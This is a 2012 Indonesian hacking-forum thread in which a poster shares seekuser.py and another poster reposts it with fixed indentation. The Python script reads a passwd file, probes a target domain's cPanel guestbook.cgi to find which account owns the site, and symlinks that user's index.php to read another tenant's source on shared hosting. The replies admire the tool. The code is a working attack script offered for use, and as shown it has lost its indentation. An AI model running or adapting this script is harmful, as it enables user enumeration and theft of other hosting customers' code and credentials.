seekuser.py - ev1lut10n - 02-17-2012 05:00 AM
krn indent bergeser otomatis silahkan direparasi sendiri
Code:
#!/usr/bin/python
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
print "Usage: ./seekuser.py passwd_file targetdomain.com"
print "Ex: ./seekuser.py /etc/passwd hackers.com"
sys.exit(1)
else:
passwd_file = sys.argv[1]
domain_target=sys.argv[2]
try:
fd = open(passwd_file)
except:
print "Sorry failed to open "+passwd_file
sys.exit(1)
content = fd.readline()
while (content != ""):
content.replace( "\n", "" )
content = fd.readline()
content=content.strip()
arkon=content.split(':')
user=arkon[0]
if user != "" :
print "testing "+user+" on:"+ domain_target
url="http://"+domain_target+"/cgi-sys/guestbook.cgi?user="+user
response=urllib.urlopen(url)
res = response.read()
if salah not in res:
print "[+] W00t found : " + user + " for domain : "+domain_target
os.system ("echo "+user+" > username_of_"+domain_target)
print "creating symlink for /home/"+user+"/public_html/index.php"
print "on success you can read the source code on: index_of_"+domain_target+".txt"
os.system("ln -s /home/"+user+"/public_html/index.php index_of_"+domain_target+".txt")
fd.close
sys.exit(1)
RE: seekuser.py - Fauzi Topan - 02-17-2012 06:04 AM
keren bang 
aku izin bantuin benerin indentnya ya
Code:
#!/usr/bin/python
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
print "Usage: ./seekuser.py passwd_file targetdomain.com"
print "Ex: ./seekuser.py /etc/passwd hackers.com"
sys.exit(1)
else:
passwd_file = sys.argv[1]
domain_target = sys.argv[2]
try:
fd = open(passwd_file)
except:
print "Sorry failed to open "+passwd_file
sys.exit(1)
content = fd.readline()
while (content != ""):
content.replace( "\n", "" )
content = fd.readline()
content = content.strip()
arkon = content.split(':')
user = arkon[0]
if user != "" :
print "testing " + user + " on:" + domain_target
url = "http://" + domain_target + "/cgi-sys/guestbook.cgi?user=" + user
response = urllib.urlopen(url)
res = response.read()
if salah not in res:
print "[+] W00t found : " + user + " for domain : " + domain_target
os.system ("echo " + user + " > username_of_" + domain_target)
print "creating symlink for /home/" + user + "/public_html/index.php"
print "on success you can read the source code on: index_of_" + domain_target + ".txt"
os.system("ln -s /home/" + user + "/public_html/index.php index_of_" + domain_target + ".txt")
fd.close
sys.exit(1)
http://pastebin.com/WLcPUgwm
RE: seekuser.py - yusufelirhab - 02-17-2012 07:43 AM
wah....
ni script buat apaan ya
 
RE: seekuser.py - ev1lut10n - 02-17-2012 08:51 AM
anu mas bro dibaca sourcenya ntar paham manfaatnya
RE: seekuser.py - tukang.becak.ngebut - 02-22-2012 11:45 PM
/cgi-sys/guestbook.cgi?user=
hihihihihi... i luv python...
|